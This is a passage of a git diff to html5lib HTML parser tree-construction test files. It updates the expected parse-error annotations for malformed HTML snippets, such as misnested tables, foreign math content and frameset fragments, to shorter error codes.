@@ -102,10 +102,13 @@ Line: 1 Col: 53 Unexpected end tag (math) in table context caused voodoo mode.
#data
<!DOCTYPE html><body><table><math><mi>foo</mi><mi>bar</mi></math></table>
#errors
-Line: 1 Col: 34 Unexpected start tag (math) in table context caused voodoo mode.
-Line: 1 Col: 46 Unexpected end tag (mi) in table context caused voodoo mode.
-Line: 1 Col: 58 Unexpected end tag (mi) in table context caused voodoo mode.
-Line: 1 Col: 65 Unexpected end tag (math) in table context caused voodoo mode.
+(1,34) foster-parenting-start-tag
+(1,39) foster-parenting-character
+(1,40) foster-parenting-character
+(1,41) foster-parenting-character
+(1,51) foster-parenting-character
+(1,52) foster-parenting-character
+(1,53) foster-parenting-character
#document
| <!DOCTYPE html>
| <html>
@@ -121,10 +124,13 @@ Line: 1 Col: 65 Unexpected end tag (math) in table context caused voodoo mode.
#data
<!DOCTYPE html><body><table><tbody><math><mi>foo</mi><mi>bar</mi></math></tbody></table>
#errors
-Line: 1 Col: 41 Unexpected start tag (math) in table context caused voodoo mode.
-Line: 1 Col: 53 Unexpected end tag (mi) in table context caused voodoo mode.
-Line: 1 Col: 65 Unexpected end tag (mi) in table context caused voodoo mode.
-Line: 1 Col: 72 Unexpected end tag (math) in table context caused voodoo mode.
+(1,41) foster-parenting-start-tag
+(1,46) foster-parenting-character
+(1,47) foster-parenting-character
+(1,48) foster-parenting-character
+(1,58) foster-parenting-character
+(1,59) foster-parenting-character
+(1,60) foster-parenting-character
#document
| <!DOCTYPE html>
| <html>
@@ -141,10 +147,13 @@ Line: 1 Col: 72 Unexpected end tag (math) in table context caused voodoo mode.
#data
<!DOCTYPE html><body><table><tbody><tr><math><mi>foo</mi><mi>bar</mi></math></tr></tbody></table>
#errors
-Line: 1 Col: 45 Unexpected start tag (math) in table context caused voodoo mode.
-Line: 1 Col: 57 Unexpected end tag (mi) in table context caused voodoo mode.
-Line: 1 Col: 69 Unexpected end tag (mi) in table context caused voodoo mode.
-Line: 1 Col: 76 Unexpected end tag (math) in table context caused voodoo mode.
+(1,45) foster-parenting-start-tag
+(1,50) foster-parenting-character
+(1,51) foster-parenting-character
+(1,52) foster-parenting-character
+(1,62) foster-parenting-character
+(1,63) foster-parenting-character
+(1,64) foster-parenting-character
#document
| <!DOCTYPE html>
| <html>
@@ -218,8 +227,8 @@ Line: 1 Col: 76 Unexpected end tag (math) in table context caused voodoo mode.
#data
<!DOCTYPE html><body><table><caption><math><mi>foo</mi><mi>bar</mi><p>baz</table><p>quux
#errors
-Line: 1 Col: 70 HTML start tag "p" in a foreign namespace context.
-Line: 1 Col: 81 Unexpected end table tag in caption. Generates implied end caption.
+(1,70) unexpected-html-element-in-foreign-content
+(1,81) XXX-undefined-error
#document
| <!DOCTYPE html>
| <html>
@@ -240,8 +249,8 @@ Line: 1 Col: 81 Unexpected end table tag in caption. Generates implied end capti
#data
<!DOCTYPE html><body><table><caption><math><mi>foo</mi><mi>bar</mi>baz</table><p>quux
#errors
-Line: 1 Col: 78 Unexpected end table tag in caption. Generates implied end caption.
-Line: 1 Col: 78 Unexpected end tag (caption). Missing end tag (math).
+(1,78) unexpected-end-tag
+(1,78) expected-one-end-tag-but-got-another
#document
| <!DOCTYPE html>
| <html>
@@ -261,11 +270,18 @@ Line: 1 Col: 78 Unexpected end tag (caption). Missing end tag (math).
#data
<!DOCTYPE html><body><table><colgroup><math><mi>foo</mi><mi>bar</mi><p>baz</table><p>quux
#errors
-Line: 1 Col: 44 Unexpected start tag (math) in table context caused voodoo mode.
-Line: 1 Col: 56 Unexpected end tag (mi) in table context caused voodoo mode.
-Line: 1 Col: 68 Unexpected end tag (mi) in table context caused voodoo mode.
-Line: 1 Col: 71 HTML start tag "p" in a foreign namespace context.
-Line: 1 Col: 71 Unexpected start tag (p) in table context caused voodoo mode.
+(1,44) foster-parenting-start-tag
+(1,49) foster-parenting-character
+(1,50) foster-parenting-character
+(1,51) foster-parenting-character
+(1,61) foster-parenting-character
+(1,62) foster-parenting-character
+(1,63) foster-parenting-character
+(1,71) unexpected-html-element-in-foreign-content
+(1,71) foster-parenting-start-tag
+(1,63) foster-parenting-character
+(1,63) foster-parenting-character
+(1,63) foster-parenting-character
#document
| <!DOCTYPE html>
| <html>
@@ -286,13 +302,13 @@ Line: 1 Col: 71 Unexpected start tag (p) in table context caused voodoo mode.
#data
<!DOCTYPE html><body><table><tr><td><select><math><mi>foo</mi><mi>bar</mi><p>baz</table><p>quux
#errors
-Line: 1 Col: 50 Unexpected start tag token (math) in the select phase. Ignored.
-Line: 1 Col: 54 Unexpected start tag token (mi) in the select phase. Ignored.
-Line: 1 Col: 62 Unexpected end tag (mi) in the select phase. Ignored.
-Line: 1 Col: 66 Unexpected start tag token (mi) in the select phase. Ignored.
-Line: 1 Col: 74 Unexpected end tag (mi) in the select phase. Ignored.
-Line: 1 Col: 77 Unexpected start tag token (p) in the select phase. Ignored.
-Line: 1 Col: 88 Unexpected table element end tag (tables) in the select in table phase.
+(1,50) unexpected-start-tag-in-select
+(1,54) unexpected-start-tag-in-select
+(1,62) unexpected-end-tag-in-select
+(1,66) unexpected-start-tag-in-select
+(1,74) unexpected-end-tag-in-select
+(1,77) unexpected-start-tag-in-select
+(1,88) unexpected-table-element-end-tag-in-select-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -310,14 +326,14 @@ Line: 1 Col: 88 Unexpected table element end tag (tables) in the select in table
#data
<!DOCTYPE html><body><table><select><math><mi>foo</mi><mi>bar</mi><p>baz</table><p>quux
#errors
-Line: 1 Col: 36 Unexpected start tag (select) in table context caused voodoo mode.
-Line: 1 Col: 42 Unexpected start tag token (math) in the select phase. Ignored.
-Line: 1 Col: 46 Unexpected start tag token (mi) in the select phase. Ignored.
-Line: 1 Col: 54 Unexpected end tag (mi) in the select phase. Ignored.
-Line: 1 Col: 58 Unexpected start tag token (mi) in the select phase. Ignored.
-Line: 1 Col: 66 Unexpected end tag (mi) in the select phase. Ignored.
-Line: 1 Col: 69 Unexpected start tag token (p) in the select phase. Ignored.
-Line: 1 Col: 80 Unexpected table element end tag (tables) in the select in table phase.
+(1,36) unexpected-start-tag-implies-table-voodoo
+(1,42) unexpected-start-tag-in-select
+(1,46) unexpected-start-tag-in-select
+(1,54) unexpected-end-tag-in-select
+(1,58) unexpected-start-tag-in-select
+(1,66) unexpected-end-tag-in-select
+(1,69) unexpected-start-tag-in-select
+(1,80) unexpected-table-element-end-tag-in-select-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -332,8 +348,8 @@ Line: 1 Col: 80 Unexpected table element end tag (tables) in the select in table
#data
<!DOCTYPE html><body></body></html><math><mi>foo</mi><mi>bar</mi><p>baz
#errors
-Line: 1 Col: 41 Unexpected start tag (math).
-Line: 1 Col: 68 HTML start tag "p" in a foreign namespace context.
+(1,41) expected-eof-but-got-start-tag
+(1,68) unexpected-html-element-in-foreign-content
#document
| <!DOCTYPE html>
| <html>
@@ -350,8 +366,8 @@ Line: 1 Col: 68 HTML start tag "p" in a foreign namespace context.
#data
<!DOCTYPE html><body></body><math><mi>foo</mi><mi>bar</mi><p>baz
#errors
-Line: 1 Col: 34 Unexpected start tag token (math) in the after body phase.
-Line: 1 Col: 61 HTML start tag "p" in a foreign namespace context.
+(1,34) unexpected-start-tag-after-body
+(1,61) unexpected-html-element-in-foreign-content
#document
| <!DOCTYPE html>
| <html>
@@ -368,14 +384,14 @@ Line: 1 Col: 61 HTML start tag "p" in a foreign namespace context.
#data
<!DOCTYPE html><frameset><math><mi></mi><mi></mi><p><span>
#errors
-Line: 1 Col: 31 Unexpected start tag token (math) in the frameset phase. Ignored.
-Line: 1 Col: 35 Unexpected start tag token (mi) in the frameset phase. Ignored.
-Line: 1 Col: 40 Unexpected end tag token (mi) in the frameset phase. Ignored.
-Line: 1 Col: 44 Unexpected start tag token (mi) in the frameset phase. Ignored.
-Line: 1 Col: 49 Unexpected end tag token (mi) in the frameset phase. Ignored.
-Line: 1 Col: 52 Unexpected start tag token (p) in the frameset phase. Ignored.
-Line: 1 Col: 58 Unexpected start tag token (span) in the frameset phase. Ignored.
-Line: 1 Col: 58 Expected closing tag. Unexpected end of file.
+(1,31) unexpected-start-tag-in-frameset
+(1,35) unexpected-start-tag-in-frameset
+(1,40) unexpected-end-tag-in-frameset
+(1,44) unexpected-start-tag-in-frameset
+(1,49) unexpected-end-tag-in-frameset
+(1,52) unexpected-start-tag-in-frameset
+(1,58) unexpected-start-tag-in-frameset
+(1,58) eof-in-frameset
#document
| <!DOCTYPE html>
| <html>
@@ -385,13 +401,13 @@ Line: 1 Col: 58 Expected closing tag. Unexpected end of file.
#data
<!DOCTYPE html><frameset></frameset><math><mi></mi><mi></mi><p><span>
#errors
-Line: 1 Col: 42 Unexpected start tag (math) in the after frameset phase. Ignored.
-Line: 1 Col: 46 Unexpected start tag (mi) in the after frameset phase. Ignored.
-Line: 1 Col: 51 Unexpected end tag (mi) in the after frameset phase. Ignored.
-Line: 1 Col: 55 Unexpected start tag (mi) in the after frameset phase. Ignored.
-Line: 1 Col: 60 Unexpected end tag (mi) in the after frameset phase. Ignored.
-Line: 1 Col: 63 Unexpected start tag (p) in the after frameset phase. Ignored.
-Line: 1 Col: 69 Unexpected start tag (span) in the after frameset phase. Ignored.
+(1,42) unexpected-start-tag-after-frameset
+(1,46) unexpected-start-tag-after-frameset
+(1,51) unexpected-end-tag-after-frameset
+(1,55) unexpected-start-tag-after-frameset
+(1,60) unexpected-end-tag-after-frameset
+(1,63) unexpected-start-tag-after-frameset
+(1,69) unexpected-start-tag-after-frameset
#document
| <!DOCTYPE html>
| <html>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests_innerHTML_1.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests_innerHTML_1.dat
index 6c78661e0..5ede639bc 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests_innerHTML_1.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests_innerHTML_1.dat
@@ -1,6 +1,8 @@
#data
<body><span>
#errors
+(1,6): unexpected-start-tag
+(1,12): expected-closing-tag-but-got-eof
#document-fragment
body
#document
@@ -9,6 +11,8 @@ body
#data
<span><body>
#errors
+(1,12): unexpected-start-tag
+(1,12): expected-closing-tag-but-got-eof
#document-fragment
body
#document
@@ -17,6 +21,8 @@ body
#data
<span><body>
#errors
+(1,12): unexpected-start-tag
+(1,12): expected-closing-tag-but-got-eof
#document-fragment
div
#document
@@ -25,6 +31,7 @@ div
#data
<body><span>
#errors
+(1,12): expected-closing-tag-but-got-eof
#document-fragment
html
#document
@@ -35,6 +42,8 @@ html
#data
<frameset><span>
#errors
+(1,10): unexpected-start-tag
+(1,16): expected-closing-tag-but-got-eof
#document-fragment
body
#document
@@ -43,6 +52,8 @@ body
#data
<span><frameset>
#errors
+(1,16): unexpected-start-tag
+(1,16): expected-closing-tag-but-got-eof
#document-fragment
body
#document
@@ -51,6 +62,8 @@ body
#data
<span><frameset>
#errors
+(1,16): unexpected-start-tag
+(1,16): expected-closing-tag-but-got-eof
#document-fragment
div
#document
@@ -59,6 +72,8 @@ div
#data
<frameset><span>
#errors
+(1,16): unexpected-start-tag-in-frameset
+(1,16): eof-in-frameset
#document-fragment
html
#document
@@ -68,6 +83,7 @@ html
#data
<table><tr>
#errors
+(1,7): unexpected-start-tag
#document-fragment
table
#document
@@ -77,6 +93,7 @@ table
#data
</table><tr>
#errors
+(1,8): unexpected-end-tag
#document-fragment
table
#document
@@ -86,6 +103,8 @@ table
#data
<a>
#errors
+(1,3): unexpected-start-tag-implies-table-voodoo
+(1,3): eof-in-table
#document-fragment
table
#document
@@ -94,6 +113,8 @@ table
#data
<a>
#errors
+(1,3): unexpected-start-tag-implies-table-voodoo
+(1,3): eof-in-table
#document-fragment
table
#document
@@ -102,6 +123,8 @@ table
#data
<a><caption>a
#errors
+(1,3): unexpected-start-tag-implies-table-voodoo
+(1,13): expected-closing-tag-but-got-eof
#document-fragment
table
#document
@@ -112,6 +135,8 @@ table
#data
<a><colgroup><col>
#errors
+(1,3): foster-parenting-start-token
+(1,18): expected-closing-tag-but-got-eof
#document-fragment
table
#document
@@ -122,6 +147,7 @@ table
#data
<a><tbody><tr>
#errors
+(1,3): foster-parenting-start-tag
#document-fragment
table
#document
@@ -132,6 +158,7 @@ table
#data
<a><tfoot><tr>
#errors
+(1,3): foster-parenting-start-tag
#document-fragment
table
#document
@@ -142,6 +169,7 @@ table
#data
<a><thead><tr>
#errors
+(1,3): foster-parenting-start-tag
#document-fragment
table
#document
@@ -152,6 +180,7 @@ table
#data
<a><tr>
#errors
+(1,3): foster-parenting-start-tag
#document-fragment
table
#document
@@ -162,6 +191,8 @@ table
#data
<a><th>
#errors
+(1,3): unexpected-start-tag-implies-table-voodoo
+(1,7): unexpected-cell-in-table-body
#document-fragment
table
#document
@@ -173,6 +204,8 @@ table
#data
<a><td>
#errors
+(1,3): unexpected-start-tag-implies-table-voodoo
+(1,7): unexpected-cell-in-table-body
#document-fragment
table
#document
@@ -184,6 +217,7 @@ table
#data
<table></table><tbody>
#errors
+(1,22): unexpected-start-tag
#document-fragment
caption
#document
@@ -192,6 +226,8 @@ caption
#data
</table><span>
#errors
+(1,8): unexpected-end-tag
+(1,14): expected-closing-tag-but-got-eof
#document-fragment
caption
#document
@@ -200,6 +236,8 @@ caption
#data
<span></table>
#errors
+(1,14): unexpected-end-tag
+(1,14): expected-closing-tag-but-got-eof
#document-fragment
caption
#document
@@ -208,6 +246,8 @@ caption
#data
</caption><span>
#errors
+(1,10): XXX-undefined-error
+(1,16): expected-closing-tag-but-got-eof
#document-fragment
caption
#document
@@ -216,6 +256,8 @@ caption
#data
<span></caption><span>
#errors
+(1,16): XXX-undefined-error
+(1,22): expected-closing-tag-but-got-eof
#document-fragment
caption
#document
@@ -225,6 +267,8 @@ caption
#data
<span><caption><span>
#errors
+(1,15): unexpected-start-tag
+(1,21): expected-closing-tag-but-got-eof
#document-fragment
caption
#document
@@ -234,6 +278,8 @@ caption
#data
<span><col><span>
#errors
+(1,11): unexpected-start-tag
+(1,17): expected-closing-tag-but-got-eof
#document-fragment
caption
#document
@@ -243,6 +289,8 @@ caption
#data
<span><colgroup><span>
#errors
+(1,16): unexpected-start-tag
+(1,22): expected-closing-tag-but-got-eof
#document-fragment
caption
#document
@@ -252,6 +300,8 @@ caption
#data
<span><html><span>
#errors
+(1,12): non-html-root
+(1,18): expected-closing-tag-but-got-eof
#document-fragment
caption
#document
@@ -261,6 +311,8 @@ caption
#data
<span><tbody><span>
#errors
+(1,13): unexpected-start-tag
+(1,19): expected-closing-tag-but-got-eof
#document-fragment
caption
#document
@@ -270,6 +322,8 @@ caption
#data
<span><td><span>
#errors
+(1,10): unexpected-start-tag
+(1,16): expected-closing-tag-but-got-eof
#document-fragment
caption
#document
@@ -279,6 +333,8 @@ caption
#data
<span><tfoot><span>
#errors
+(1,13): unexpected-start-tag
+(1,19): expected-closing-tag-but-got-eof
#document-fragment
caption
#document
@@ -288,6 +344,8 @@ caption
#data
<span><thead><span>
#errors
+(1,13): unexpected-start-tag
+(1,19): expected-closing-tag-but-got-eof
#document-fragment
caption
#document
@@ -297,6 +355,8 @@ caption
#data
<span><th><span>
#errors
+(1,10): unexpected-start-tag
+(1,16): expected-closing-tag-but-got-eof
#document-fragment
caption
#document
@@ -306,6 +366,8 @@ caption
#data
<span><tr><span>
#errors
+(1,10): unexpected-start-tag
+(1,16): expected-closing-tag-but-got-eof
#document-fragment
caption
#document
@@ -315,6 +377,8 @@ caption
#data
<span></table><span>
#errors
+(1,14): unexpected-end-tag
+(1,20): expected-closing-tag-but-got-eof
#document-fragment
caption
#document
@@ -324,6 +388,7 @@ caption
#data
</colgroup><col>
#errors
+(1,11): XXX-undefined-error
#document-fragment
colgroup
#document
@@ -332,6 +397,7 @@ colgroup
#data
<a><col>
#errors
+(1,3): XXX-undefined-error
#document-fragment
colgroup
#document
@@ -340,6 +406,9 @@ colgroup
#data
<caption><a>
#errors
+(1,9): XXX-undefined-error
+(1,12): unexpected-start-tag-implies-table-voodoo
+(1,12): eof-in-table
#document-fragment
tbody
#document
@@ -348,6 +417,9 @@ tbody
#data
<col><a>
#errors
+(1,5): XXX-undefined-error
+(1,8): unexpected-start-tag-implies-table-voodoo
+(1,8): eof-in-table
#document-fragment
tbody
#document
@@ -356,6 +428,9 @@ tbody
#data
<colgroup><a>
#errors
+(1,10): XXX-undefined-error
+(1,13): unexpected-start-tag-implies-table-voodoo
+(1,13): eof-in-table
#document-fragment
tbody
#document
@@ -364,6 +439,9 @@ tbody
#data
<tbody><a>
#errors
+(1,7): XXX-undefined-error
+(1,10): unexpected-start-tag-implies-table-voodoo
+(1,10): eof-in-table
#document-fragment
tbody
#document
@@ -372,6 +450,9 @@ tbody
#data
<tfoot><a>
#errors
+(1,7): XXX-undefined-error
+(1,10): unexpected-start-tag-implies-table-voodoo
+(1,10): eof-in-table
#document-fragment
tbody
#document
@@ -380,6 +461,9 @@ tbody
#data
<thead><a>
#errors
+(1,7): XXX-undefined-error
+(1,10): unexpected-start-tag-implies-table-voodoo
+(1,10): eof-in-table
#document-fragment
tbody
#document
@@ -388,6 +472,9 @@ tbody
#data
</table><a>
#errors
+(1,8): XXX-undefined-error
+(1,11): unexpected-start-tag-implies-table-voodoo
+(1,11): eof-in-table
#document-fragment
tbody
#document
@@ -396,6 +483,7 @@ tbody
#data
<a><tr>
#errors
+(1,3): unexpected-start-tag-implies-table-voodoo
#document-fragment
tbody
#document
@@ -405,6 +493,8 @@ tbody
#data
<a><td>
#errors
+(1,3): unexpected-start-tag-implies-table-voodoo
+(1,7): unexpected-cell-in-table-body
#document-fragment
tbody
#document
@@ -415,6 +505,8 @@ tbody
#data
<a><td>
#errors
+(1,3): unexpected-start-tag-implies-table-voodoo
+(1,7): unexpected-cell-in-table-body
#document-fragment
tbody
#document
@@ -425,6 +517,8 @@ tbody
#data
<a><td>
#errors
+(1,3): unexpected-start-tag-implies-table-voodoo
+(1,7): unexpected-cell-in-table-body
#document-fragment
tbody
#document
@@ -435,6 +529,9 @@ tbody
#data
<td><table><tbody><a><tr>
#errors
+(1,4): unexpected-cell-in-table-body
+(1,21): unexpected-start-tag-implies-table-voodoo
+(1,25): eof-in-table
#document-fragment
tbody
#document
@@ -448,6 +545,7 @@ tbody
#data
</tr><td>
#errors
+(1,5): XXX-undefined-error
#document-fragment
tr
#document
@@ -456,6 +554,8 @@ tr
#data
<td><table><a><tr></tr><tr>
#errors
+(1,14): unexpected-start-tag-implies-table-voodoo
+(1,27): eof-in-table
#document-fragment
tr
#document
@@ -469,6 +569,7 @@ tr
#data
<caption><td>
#errors
+(1,9): XXX-undefined-error
#document-fragment
tr
#document
@@ -477,6 +578,7 @@ tr
#data
<col><td>
#errors
+(1,5): XXX-undefined-error
#document-fragment
tr
#document
@@ -485,6 +587,7 @@ tr
#data
<colgroup><td>
#errors
+(1,10): XXX-undefined-error
#document-fragment
tr
#document
@@ -493,6 +596,7 @@ tr
#data
<tbody><td>
#errors
+(1,7): XXX-undefined-error
#document-fragment
tr
#document
@@ -501,6 +605,7 @@ tr
#data
<tfoot><td>
#errors
+(1,7): XXX-undefined-error
#document-fragment
tr
#document
@@ -509,6 +614,7 @@ tr
#data
<thead><td>
#errors
+(1,7): XXX-undefined-error
#document-fragment
tr
#document
@@ -517,6 +623,7 @@ tr
#data
<tr><td>
#errors
+(1,4): XXX-undefined-error
#document-fragment
tr
#document
@@ -525,6 +632,7 @@ tr
#data
</table><td>
#errors
+(1,8): XXX-undefined-error
#document-fragment
tr
#document
@@ -553,6 +661,8 @@ tr
#data
<caption><a>
#errors
+(1,9): XXX-undefined-error
+(1,12): expected-closing-tag-but-got-eof
#document-fragment
td
#document
@@ -561,6 +671,8 @@ td
#data
<col><a>
#errors
+(1,5): XXX-undefined-error
+(1,8): expected-closing-tag-but-got-eof
#document-fragment
td
#document
@@ -569,6 +681,8 @@ td
#data
<colgroup><a>
#errors
+(1,10): XXX-undefined-error
+(1,13): expected-closing-tag-but-got-eof
#document-fragment
td
#document
@@ -577,6 +691,8 @@ td
#data
<tbody><a>
#errors
+(1,7): XXX-undefined-error
+(1,10): expected-closing-tag-but-got-eof
#document-fragment
td
#document
@@ -585,6 +701,8 @@ td
#data
<tfoot><a>
#errors
+(1,7): XXX-undefined-error
+(1,10): expected-closing-tag-but-got-eof
#document-fragment
td
#document
@@ -593,6 +711,8 @@ td
#data
<th><a>
#errors
+(1,4): XXX-undefined-error
+(1,7): expected-closing-tag-but-got-eof
#document-fragment
td
#document
@@ -601,6 +721,8 @@ td
#data
<thead><a>
#errors
+(1,7): XXX-undefined-error
+(1,10): expected-closing-tag-but-got-eof
#document-fragment
td
#document
@@ -609,6 +731,8 @@ td
#data
<tr><a>
#errors
+(1,4): XXX-undefined-error
+(1,7): expected-closing-tag-but-got-eof
#document-fragment
td
#document
@@ -617,6 +741,8 @@ td
#data
</table><a>
#errors
+(1,8): XXX-undefined-error
+(1,11): expected-closing-tag-but-got-eof
#document-fragment
td
#document
@@ -625,6 +751,8 @@ td
#data
</tbody><a>
#errors
+(1,8): XXX-undefined-error
+(1,11): expected-closing-tag-but-got-eof
#document-fragment
td
#document
@@ -633,6 +761,8 @@ td
#data
</td><a>
#errors
+(1,5): unexpected-end-tag
+(1,8): expected-closing-tag-but-got-eof
#document-fragment
td
#document
@@ -641,6 +771,8 @@ td
#data
</tfoot><a>
#errors
+(1,8): XXX-undefined-error
+(1,11): expected-closing-tag-but-got-eof
#document-fragment
td
#document
@@ -649,6 +781,8 @@ td
#data
</thead><a>
#errors
+(1,8): XXX-undefined-error
+(1,11): expected-closing-tag-but-got-eof
#document-fragment
td
#document
@@ -657,6 +791,8 @@ td
#data
</th><a>
#errors
+(1,5): unexpected-end-tag
+(1,8): expected-closing-tag-but-got-eof
#document-fragment
td
#document
@@ -665,6 +801,8 @@ td
#data
</tr><a>
#errors
+(1,5): XXX-undefined-error
+(1,8): expected-closing-tag-but-got-eof
#document-fragment
td
#document
@@ -673,6 +811,8 @@ td
#data
<table><td><td>
#errors
+(1,11): unexpected-cell-in-table-body
+(1,15): expected-closing-tag-but-got-eof
#document-fragment
td
#document
@@ -685,6 +825,8 @@ td
#data
</select><option>
#errors
+(1,9): XXX-undefined-error
+(1,17): eof-in-select
#document-fragment
select
#document
@@ -693,6 +835,8 @@ select
#data
<input><option>
#errors
+(1,7): unexpected-input-in-select
+(1,15): eof-in-select
#document-fragment
select
#document
@@ -701,6 +845,8 @@ select
#data
<keygen><option>
#errors
+(1,8): unexpected-input-in-select
+(1,16): eof-in-select
#document-fragment
select
#document
@@ -709,6 +855,8 @@ select
#data
<textarea><option>
#errors
+(1,10): unexpected-input-in-select
+(1,18): eof-in-select
#document-fragment
select
#document
@@ -717,6 +865,7 @@ select
#data
</html><!--abc-->
#errors
+(1,7): unexpected-end-tag-after-body-innerhtml
#document-fragment
html
#document
@@ -727,6 +876,7 @@ html
#data
</frameset><frame>
#errors
+(1,11): unexpected-frameset-in-frameset-innerhtml
#document-fragment
frameset
#document
@@ -739,3 +889,14 @@ html
#document
| <head>
| <body>
+
+#data
+<head></head><script></script>
+#errors
+21: “script” element between “head” and “body”.
+#document-fragment
+html
+#document
+| <head>
+| <script>
+| <body>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tricky01.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tricky01.dat
index 084199244..f7065214e 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tricky01.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tricky01.dat
@@ -2,6 +2,8 @@
<b><p>Bold </b> Not bold</p>
Also not bold.
#errors
+(1,3): expected-doctype-but-got-start-tag
+(1,15): adoption-agency-1.3
#document
| <html>
| <head>
@@ -21,6 +23,12 @@ Also not bold."
<p>Italic and red. </i> Red.</font> I should not be red.</p>
<b>Bold <i>Bold and italic</b> Only Italic </i> Plain
#errors
+(1,6): expected-doctype-but-got-start-tag
+(2,58): adoption-agency-1.3
+(3,67): unexpected-end-tag
+(4,23): adoption-agency-1.3
+(4,35): adoption-agency-1.3
+(5,30): adoption-agency-1.3
#document
| <html>
| <head>
@@ -73,6 +81,11 @@ Also not bold."
<p>Second paragraph.</p></font>
<b><p><i>Bold and Italic</b> Italic</p>
#errors
+(1,6): expected-doctype-but-got-start-tag
+(2,38): unexpected-end-tag
+(4,28): adoption-agency-1.3
+(4,28): adoption-agency-1.3
+(4,39): unexpected-end-tag
#document
| <html>
| <head>
@@ -107,6 +120,10 @@ Also not bold."
</dl>
</html>
#errors
+(1,6): expected-doctype-but-got-start-tag
+(4,4): end-tag-too-early
+(5,5): end-tag-too-early
+(6,7): expected-one-end-tag-but-got-another
#document
| <html>
| <head>
@@ -131,6 +148,10 @@ Also not bold."
<label><a><div>Hello<div>World</div></a></label>
</body></html>
#errors
+(1,6): expected-doctype-but-got-start-tag
+(2,40): adoption-agency-1.3
+(2,48): unexpected-end-tag
+(3,7): expected-one-end-tag-but-got-another
#document
| <html>
| <head>
@@ -150,6 +171,15 @@ Also not bold."
#data
<table><center> <font>a</center> <img> <tr><td> </td> </tr> </table>
#errors
+(1,7): expected-doctype-but-got-start-tag
+(1,15): foster-parenting-start-tag
+(1,16): foster-parenting-character
+(1,22): foster-parenting-start-tag
+(1,23): foster-parenting-character
+(1,32): foster-parenting-end-tag
+(1,32): end-tag-too-early
+(1,33): foster-parenting-character
+(1,38): foster-parenting-start-tag
#document
| <html>
| <head>
@@ -173,6 +203,37 @@ Also not bold."
#data
<table><tr><p><a><p>You should see this text.
#errors
+(1,7): expected-doctype-but-got-start-tag
+(1,14): unexpected-start-tag-implies-table-voodoo
+(1,17): unexpected-start-tag-implies-table-voodoo
+(1,20): unexpected-start-tag-implies-table-voodoo
+(1,20): closing-non-current-p-element
+(1,21): foster-parenting-character
+(1,22): foster-parenting-character
+(1,23): foster-parenting-character
+(1,24): foster-parenting-character
+(1,25): foster-parenting-character
+(1,26): foster-parenting-character
+(1,27): foster-parenting-character
+(1,28): foster-parenting-character
+(1,29): foster-parenting-character
+(1,30): foster-parenting-character
+(1,31): foster-parenting-character
+(1,32): foster-parenting-character
+(1,33): foster-parenting-character
+(1,34): foster-parenting-character
+(1,35): foster-parenting-character
+(1,36): foster-parenting-character
+(1,37): foster-parenting-character
+(1,38): foster-parenting-character
+(1,39): foster-parenting-character
+(1,40): foster-parenting-character
+(1,41): foster-parenting-character
+(1,42): foster-parenting-character
+(1,43): foster-parenting-character
+(1,44): foster-parenting-character
+(1,45): foster-parenting-character
+(1,45): eof-in-table
#document
| <html>
| <head>
@@ -196,6 +257,14 @@ Also not bold."
<a></font><font></a>
This page contains an insanely badly-nested tag sequence.
#errors
+(1,7): expected-doctype-but-got-start-tag
+(3,8): unexpected-start-tag-implies-table-voodoo
+(3,16): unexpected-start-tag-implies-table-voodoo
+(4,6): unexpected-start-tag-implies-table-voodoo
+(5,7): unexpected-start-tag-implies-end-tag
+(7,10): adoption-agency-1.3
+(7,20): adoption-agency-1.3
+(8,57): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -240,6 +309,10 @@ nobr should have closed the div inside it implicitly. </b><pre>A pre tag outside
</body>
</html>
#errors
+(1,6): expected-doctype-but-got-start-tag
+(3,56): adoption-agency-1.3
+(4,58): adoption-agency-1.3
+(5,7): expected-one-end-tag-but-got-another
#document
| <html>
| <head>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/webkit01.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/webkit01.dat
index 06bc436b6..c480accd9 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/webkit01.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/webkit01.dat
@@ -1,7 +1,7 @@
#data
Test
#errors
-Line: 1 Col: 4 Unexpected non-space characters. Expected DOCTYPE.
+(1,4): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -11,6 +11,7 @@ Line: 1 Col: 4 Unexpected non-space characters. Expected DOCTYPE.
#data
<div></div>
#errors
+(1,5): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -20,6 +21,7 @@ Line: 1 Col: 4 Unexpected non-space characters. Expected DOCTYPE.
#data
<div>Test</div>
#errors
+(1,5): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -30,6 +32,8 @@ Line: 1 Col: 4 Unexpected non-space characters. Expected DOCTYPE.
#data
<di
#errors
+(1,3): eof-in-tag-name
+(1,3): expected-doctype-but-got-eof
#document
| <html>
| <head>
@@ -42,6 +46,7 @@ console.log("PASS");
</script>
<div>Bye</div>
#errors
+(1,5): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -62,6 +67,7 @@ console.log("PASS");
#data
<div foo="bar">Hello</div>
#errors
+(1,15): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -77,6 +83,7 @@ console.log("FOO<span>BAR</span>BAZ");
</script>
<div>Bye</div>
#errors
+(1,5): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -97,6 +104,7 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<foo bar="baz"></foo><potato quack="duck"></potato>
#errors
+(1,15): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -109,6 +117,7 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<foo bar="baz"><potato quack="duck"></potato></foo>
#errors
+(1,15): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -121,6 +130,9 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<foo></foo bar="baz"><potato></potato quack="duck">
